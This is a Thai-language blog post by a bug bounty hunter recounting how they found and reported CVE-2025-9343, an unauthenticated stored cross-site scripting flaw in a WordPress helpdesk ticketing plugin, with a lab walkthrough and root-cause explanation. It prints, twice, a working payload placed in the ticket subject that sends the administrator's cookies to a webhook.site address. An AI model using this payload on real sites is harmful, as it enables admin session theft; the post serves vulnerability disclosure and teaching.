ก่อนหน้านี้แอดเคยแนะนำแพลตฟอร์มสำหรับเหล่า White Hat Hacker ที่อยากมีเลข CVE เป็นชื่อตัวเอง แถมได้เงิน (Bounty) จากการค้นหาช่องโหว่ด้วย ซึ่งแพลตฟอร์มที่แอดเล่นมี 2 แห่ง คือ WordFence และ Patchstack
และปีใหม่นี้ก็ได้ฤกษ์แชร์ประสบการณ์ การค้นหาช่องโหว่ตัวแรกสุดที่แอดเจอแบบไม่ได้ตั้งใจ จากการลองหาเล่น ๆ สู่การเป็น Bounty Hunter ในปัจจุบัน และช่องโหว่นั้นก็คือ CVE-2025-9343 ELEX WordPress HelpDesk & Customer Ticketing System <= 3.3.4 – Unauthenticated Stored Cross-Site Scripting
อธิบายช่องโหว่นี้ง่าย ๆ คือ ผู้โจมตีสามารถฝังสคริปต์ลงไปใน Ticket ที่ส่งหาแอดมินของเว็บไซต์ได้ เพื่อก่อกวนหรือรุนแรงถึงการขโมยคุกกี้เพื่อสวมรอยแอดมิน โดยที่ไม่จำเป็นต้องล็อกอินใด ๆ เลย ซึ่งช่องโหว่นี้จริง ๆ อยากเอามาแชร์นานแล้ว แต่ติดที่ทาง WordFence ยังไม่เผยแพร่ให้สักที จึงต้องรอจนเขาเพิ่งปล่อยออกมาเมื่อไม่นานนี้เองครับ
ทดสอบช่องโหว่
แอดทำการทดสอบช่องโหว่ผ่าน WordPress ที่ติดตั้งบน XAMPP (เราสามารถใช้ Docker ได้นะครับ เร็วกว่าด้วย) หลังทำการติดตั้งปลั๊กอิน ELEX WordPress HelpDesk & Customer Ticketing System ในเวอร์ชันตั้งแต่ 3.3.4 หรือต่ำกว่า ก็เข้าไปตั้งค่าปลั๊กอินนิดหน่อยให้ใช้งานได้ครับ


จากนั้นก็เปิดแท็บ Incognito (ไม่ระบุตัวตน) เพื่อจำลองว่าเราเป็นผู้เข้าชมเว็บแบบ Unauthenticated (ยังไม่ได้ล็อกอิน) แล้วเข้าสู่หน้าที่จะส่งตั๋วไปหาซัพพอร์ตของเว็บไซต์
อีกแท็บหนึ่งให้เราเข้า webhook แล้วนำ url จาก webhook มาใช้ เสมือนเป็นเซิร์ฟเวอร์ปลายทางที่เราจะให้สคริปต์ของเราส่งข้อมูลไป
เมื่อได้องค์ประกอบครบ แอดก็ทำการใส่สคริปต์ไว้ในส่วน Subject ขณะที่ส่วน Email และ Description ใส่ข้อมูลตามปกติ สคริปต์ที่ใช้คือ
<img src=x onerror=”(new Image).src=’https://webhook.site/43574285-3dd1-4e6d-b7d0-d9050e3ef881?c=’+encodeURIComponent(document.cookie)”>
จากนั้นก็กดส่งตั๋วไปหาแอดมิน
กลับมาที่ฝั่งแอดมินของเว็บไซต์ รีเฟรชหน้าดูตั๋วอีกครั้ง จะพบว่ามีตั๋วส่งเข้ามาจริง ดูเผิน ๆ ฝั่งแอดมินอาจจะไม่เห็นอะไรใช่ไหมครับ เรากลับมาที่ฝั่งผู้เข้าชมเว็บ (ผู้โจมตี) กันบ้าง
เมื่อดูใน webhook อีกครั้ง จะพบว่าจู่ ๆ มีข้อมูลส่งเข้ามาจากเว็บ WordPress ซึ่งในนั้นมีข้อมูลคุกกี้ของแอดมินด้วย !! แบบนี้ก็หวานปาก Attacker เลยสินะ
วิเคราะห์ช่องโหว่
เรามาดูที่ภาพนี้กันครับ จากภาพจะเห็นว่า ปลั๊กอินเปิดให้ผู้ใช้ส่งข้อความตั๋วเข้ามาได้ แต่ระบบไม่ได้ตรวจสอบหรือแปลงข้อมูลที่ผู้ใช้กรอกเลย ทำให้ผู้ใช้สามารถใส่โค้ด HTML แฝงเข้ามาได้
ตามปกติแล้ว ข้อมูลที่ผู้ใช้กรอกควรถูกแสดงผลเป็น “ข้อความธรรมดา” แต่ในกรณีนี้ ระบบกลับนำข้อมูลนั้นไปแสดงผลแบบ HTML จริง ๆ
เมื่อผู้โจมตีใส่โค้ดนี้เข้าไปในตั๋ว
<img src=x onerror=”(new Image).src=’https://webhook.site/43574285-3dd1-4e6d-b7d0-d9050e3ef881?c=’+encodeURIComponent(document.cookie)”>
แล้วแอดมินเปิดหน้าดูรายการตั๋ว ระบบจะพยายามโหลดภาพชื่อ x แต่ไม่พบไฟล์ภาพดังกล่าว
ผลก็คือเบราว์เซอร์จะเรียกคำสั่ง onerror ขึ้นมาทำงานโดยอัตโนมัติ (ซึ่งจริง ๆ อย่างน้อยมันควรถูกกรองหรือเข้ารหัสให้ออกมาอยู่ในรูปแบบ <img src=x….> อะไรแบบนี้)
เนื่องจาก onerror สามารถรันสคริปต์ได้ โค้ดที่อยู่ด้านหลังจึงถูกสั่งให้ทำงาน และทำการส่งข้อมูลคุกกี้ของแอดมินไปยัง webhook ที่ผู้โจมตีเตรียมไว้ ผลลสุดท้ายคือแอดมินถูกขโมยคุกกี้ จบปิ๊ง
ปัจจุบันปลั๊กอิน ELEX WordPress HelpDesk & Customer Ticketing System ได้ทำการอัปเดตแพตช์ปิดช่องโหว่เรียบร้อย แต่ถ้าใครอยากลองก็ลองหาโหลดมาทดสอบได้ที่ลิงก์นี้ https://wordpress.org/plugins/elex-helpdesk-customer-support-ticket-system/advanced/ ดูในส่วน Advanced Options นะครับ
Happy Hacking









You must be logged in to post a comment.